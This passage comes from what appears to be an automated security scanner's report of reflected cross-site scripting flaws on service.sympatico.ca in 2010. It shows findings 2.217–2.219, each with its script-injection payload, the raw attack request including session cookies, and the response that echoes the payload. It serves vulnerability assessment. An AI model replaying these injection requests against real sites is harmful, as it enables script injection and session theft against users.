t%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:32 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js82bf2"><script>alert(1)</script>4ac4a8b917b/jquery.selectbox.js" />
...[SNIP]...

2.217. http://service.sympatico.ca/js/jquery.selectbox.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.selectbox.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df54f"><script>alert(1)</script>49919a7c0bd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.selectbox.jsdf54f"><script>alert(1)</script>49919a7c0bd HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:35 GMT
Connection: close
Set-Cookie: SMSESSION=sm3p4BMSPg5ABpMIfBeNwGa7glYEdK5W1/h2GewSCoU2GL2P7ddKDgIR7yDiKzg6/Ib4vIhgjAsKi/JfUzzQ1QOxGkMeepCjbJAhGFg0XaWxQgNpOG8Z6bWZjQR7OCi3L+RVHjWltz2Ls0hR1vOvBP4owUcP6Er8WvXbLThY6qMXUndFmo4JhK2kRDTxSZAWyTJqf/XET7Hxa+hxQnwoPRmO3lwFS6uefiH0OJgTOqE5yZnKD0CrQ40W9XtnhYhiU1NFIqiiMkWg+0FidZlPBEqNQ4+9aES57yP9pU3mWyhLIAwKah7ccQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:36 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:36 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:36 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:36 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:36 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:36 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:36 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:36 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:36 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:36 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:36 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:36 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:36 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:36 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
n" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.selectbox.jsdf54f"><script>alert(1)</script>49919a7c0bd" />
...[SNIP]...

2.218. http://service.sympatico.ca/js/jquery.sifr.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.sifr.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9e00"><script>alert(1)</script>12954907b9b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsa9e00"><script>alert(1)</script>12954907b9b/jquery.sifr.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:30 GMT
Connection: close
Set-Cookie: SMSESSION=ihpz2jW6KyowBj1qYqDAAGD2UfB949zxZlcZY7634AukiU8j9cRdB1Cmiv869CJ0b/6HDweRoMRt4fprA4yT8WX7vxoI+yb2DBjUUeBZDx7ZEDUYYKfMZRF2A5t+EotKdFqXrkRVOJ3vUIVxVZ61bFGEv9MX+LpMYMwUrs6yGVisurQDja+l6kDUxHO65T9Fb18qCFrhlXDP0PfhjzGz1JnZPD+zow3ifq+DeWWPGp+NSprEi5HQ0o5B/EKPJlMJCCjcBFRViU3iK6+6Ge2miv6R9JbJH10Zxt1WWffrfJrIz8AQwVNUKA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:30 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:30 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:30 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:30 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:30 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/jsa9e00"><script>alert(1)</script>12954907b9b/jquery.sifr.js" />
...[SNIP]...

2.219. http://service.sympatico.ca/js/jquery.sifr.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.sifr.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8954d"><script>alert(1)</script>1203aa01179 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.sifr.js8954d"><script>alert(1)</script>1203aa01179 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:38 GMT
Connection: close
Set-Cookie: SMSESSION=TWtVuKeateBqysROJ/ZbYrZfe7tjpSeZlZEDyKjQBBmoKyfnodC6w65fRjGnPzz4pvdK/7iqCjLKB/do6hKdJ4L/Rpne9Dfhn6/hGXc3aAhn+peNb7r7uLzd28BXlpbiJvPeyuiDIHnbMZmKM8DHnBGZQgNI6RuKSfjqCzNnYUrWfDvCP9HPtd5+RzvXqBs+cYNuZEiZ3H1tacjVZMIduu/7P2EPtxC8nLp2ZXFY6lQgP2qr8P8I3cjACIc8BOtxE56G2HCHvAC1zZTDfzHKLcb0kNaGWXaDzvocWN4v3RJCLZD3b2geDg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:38 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:38 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:38 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:38 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:38 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:38 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:38 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:38 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:38 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:38 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:38 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:38 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:38 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3